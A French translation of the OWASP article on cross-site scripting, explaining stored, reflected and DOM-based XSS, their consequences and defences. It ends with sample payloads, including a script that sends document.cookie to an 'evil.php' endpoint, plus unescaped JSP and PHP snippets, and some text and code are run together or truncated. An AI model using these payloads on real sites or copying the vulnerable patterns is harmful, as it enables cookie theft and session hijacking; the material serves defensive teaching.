Heading

Overview

Les attaques Cross-Site Scripting (XSS) sont un type d’injection, dans lequel des scripts malveillants sont injectés dans des sites web par ailleurs bénins et de confiance. Les attaques XSS se produisent lorsqu’un attaquant utilise une application web pour envoyer du code malveillant, généralement sous la forme d’un script côté navigateur, à un autre utilisateur final. Les failles qui permettent à ces attaques de réussir sont assez répandues et se produisent partout où une application web utilise l’entrée d’un utilisateur au sein de la sortie qu’elle génère sans la valider ou la coder.

Un attaquant peut utiliser XSS pour envoyer un script malveillant à un utilisateur sans méfiance. Le navigateur de l’utilisateur final n’a aucun moyen de savoir que le script ne doit pas être fiable, et il l’exécute. Comme il pense que le script provient d’une source fiable, le script malveillant peut accéder à tous les cookies, jetons de session ou autres informations sensibles conservés par le navigateur et utilisés sur le site. Ces scripts peuvent même réécrire le contenu de la page HTML. Pour plus de détails sur les différents types de failles XSS, voir : Types de scripts intersites.

Comment éviter les vulnérabilités de script intersite

• Aide-mémoire sur la prévention du XSS (Cross Site Scripting)
• Aide-mémoire sur la prévention du XSS basé sur le DOM
• Article du guide de développementOWASP sur la validation des données
• Article du guide de développementOWASP sur l’hameçonnage

Comment examiner le code pour détecter les vulnérabilités de script intersite

.site scripting Vulnerabilities

Voir le guide d’examen du code de l’OWASP.

Comment tester les vulnérabilités de script intersite

Voir le dernier article du guide de test de l’OWASP sur la façon de tester les différents types de vulnérabilités XSS.

• Testing_for_Reflected_Cross_site_scripting
• Testing_for_Stored_Cross_site_scripting
• Testing_for_DOM-based_Cross_site_scripting

Description

Les attaques Cross-Site Scripting (XSS) se produisent lorsque :

1. Des données entrent dans une application Web par une source non fiable, le plus souvent une requête Web.
2. Les données sont incluses dans un contenu dynamique qui est envoyé à un utilisateur Web sans être validé pour le contenu malveillant.

Le contenu malveillant envoyé au navigateur Web prend souvent la forme d’un segment de JavaScript, mais peut également inclure du HTML, du Flash, ou tout autre type de code que le navigateur peut exécuter. La variété des attaques basées sur XSS est presque illimitée, mais elles incluent généralement la transmission de données privées, comme les cookies ou d’autres informations de session, à l’attaquant, la redirection de la victime vers un contenu web contrôlé par l’attaquant, ou l’exécution d’autres opérations malveillantes sur la machine de l’utilisateur sous le couvert du site vulnérable.

Attaques XSS stockées et réfléchies

Les attaques XSS peuvent généralement être classées en deux catégories : stockées et réfléchies. Il existe un troisième type d’attaque XSS, beaucoup moins connu, appelé DOM Based XSS, qui fait l’objet d’une discussion séparée ici.

Attaque XSS stockée

Les attaques stockées sont celles où le script injecté est stocké de façon permanente sur les serveurs cibles, par exemple dans une base de données, dans un forum de messages,un journal des visiteurs, un champ de commentaires, etc. La victime récupère ensuite le script malveillant sur le serveur lorsqu’elle demande les informations stockées. StoredXSS est aussi parfois appelé Persistent ou Type-I XSS.

Attaques XSS réfléchies

Les attaques réfléchies sont celles où le script injecté est reflété hors du serveur web, comme dans un message d’erreur, un résultat de recherche ou toute autre réponse qui inclut une partie ou la totalité de l’entrée envoyée au serveur dans le cadre de la requête. Lorsqu’un utilisateur est incité à cliquer sur un lien malveillant, à remplir un formulaire spécialement conçu ou même à naviguer sur un site malveillant, le code injecté se rend sur le site web vulnérable, qui renvoie l’attaque au navigateur de l’utilisateur. Le navigateur exécute alors le code, car il provient d’un serveur « de confiance ». Le XSS réfléchi est aussi parfois appelé non persistant ou XSS de type II.

Autres types de vulnérabilités XSS

En plus du XSS stocké et réfléchi, un autre type de XSS, le DOM BasedXSS a été identifié par Amit Klein en 2005. L’OWASP recommande la catégorisation XSS telle que décrite dans l’article de l’OWASP:Types of Cross-Site Scripting, qui couvre tous ces termes XSS, en les organisant en une matrice de Stored vs ReflectedXSS et Server vs. Client XSS, où DOM Based XSS est un sous-ensemble de ClientXSS.

Conséquences des attaques XSS

La conséquence d’une attaque XSS est la même, qu’elle soit stockée ou réfléchie (ou DOM Based). La différence réside dans la façon dont la charge utile arrive au serveur. Ne vous laissez pas berner par l’idée qu’un site en « lecture seule » ou « brochure » n’est pas vulnérable à de graves attaques XSS réfléchies. Le XSS peut causer une variété de problèmes pour l’utilisateur final, allant d’une simple gêne à la compromission complète d’un compte. Les attaques XSS les plus graves impliquent la divulgation du cookie de session de l’utilisateur, permettant à un attaquant de détourner la session de l’utilisateur et de prendre le contrôle du compte. D’autres attaques dommageables comprennent la divulgation des fichiers de l’utilisateur final, l’installation de programmes de type cheval de Troie, la redirection de l’utilisateur vers une autre page ou un autre site, ou la modification de la présentation du contenu. Une vulnérabilité XSS permettant à un attaquant de modifier un communiqué de presse ou un article d’actualité pourrait affecter le cours de l’action d’une société ou réduire la confiance des consommateurs. Une vulnérabilité XSS sur un site pharmaceutique pourrait permettre à un attaquant de modifier les informations relatives à la posologie, entraînant une surdose. Pour plus d’informations sur ces types d’attaques, voirContent_Spoofing.

Comment déterminer si vous êtes vulnérable

Les failles XSS peuvent être difficiles à identifier et à supprimer d’une application web. La meilleure façon de trouver les failles est d’effectuer une revue de sécurité du code et de rechercher tous les endroits où les entrées d’une requête HTTP pourraient éventuellement se retrouver dans la sortie HTML. Notez qu’une variété de balises HTML différentes peuvent être utilisées pour transmettre un JavaScript malveillant.Nessus, Nikto et d’autres outils disponibles peuvent aider à analyser un site Web pour ces failles, mais ne peuvent qu’effleurer la surface. Si une partie d’un site web est vulnérable, il est fort probable qu’il existe également d’autresproblèmes.

Comment se protéger

Les principales défenses contre le XSS sont décrites dans la fiche de prévention XSS de l’OWASP.

Il est également crucial de désactiver le support HTTP TRACE sur tous les serveurs web. Un attaquant peut voler les données des cookies via Javascript même lorsqueendocument.cookie est désactivé ou non pris en charge par le client. Cette attaque est mise en place lorsqu’un utilisateur publie un script malveillant sur un forum. Ainsi, lorsqu’un autre utilisateur clique sur le lien, un appel HTTP Trace asynchrone est déclenché et collecte les informations de cookie de l’utilisateur sur le serveur, puis les envoie à un autre serveur malveillant qui collecte les informations de cookie afin que l’attaquant puisse organiser une attaque par détournement de session.Ceci est facilement atténué en supprimant la prise en charge de HTTP TRACE sur tous les serveurs web.

Le projet OWASP ESAPI a produit un ensemble de composants de sécurité réutilisables dans plusieurs langages, y compris des routines de validation et d’échappement pour empêcher l’altération des paramètres et l’injection d’attaques XSS. En outre, l’application de formation du projet OWASP WebGoat comporte des leçons sur le Cross-Site Scripting et le codage des données.

Alternative XSS Syntax

XSS Using Script in Attributes

Les attaques XSS peuvent être menées sans utiliser <script>...</script>tags. D’autres balises feront exactement la même chose, par exemple :<body onload=alert('test1')> ou d’autres attributs comme : onmouseoveronerror.

onmouseover

<b onmouseover=alert('Wufff!')>click me!</b>

onerror

<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>

XSS Using Script Via Encoded URI Schemes

Si nous devons nous cacher contre les filtres des applications web, nous pouvons essayer d’encoder des caractères, par ex.g. : a=&\#X41 (UTF-8) et de les utiliser dans les balises IMG:

<IMG SRC=j&#X41vascript:alert('test2')>

Il existe de nombreuses notations d’encodage UTF-8 différentes qui nous donnent encore plus de possibilités.

XSS Using Code Encoding

Nous pouvons encoder notre script en base64 et le placer dans la balise META. De cette façon, nous nous débarrassons totalement de alert(). Vous trouverez plus d’informations sur cette méthode dans le RFC 2397

<META HTTP-EQUIV="refresh"CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">

<% String eid = request.getParameter("eid"); %>...Employee ID: <%= eid %>

<%... Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery("select * from emp wherename");%>Employee Name: <%= name %>

<SCRIPT type="text/javascript">var adr = '../evil.php?cakemonster=' + escape(document.cookie);</SCRIPT>

<html><body><? phpprint "Not found: " . urldecode($_SERVER);?></body></html>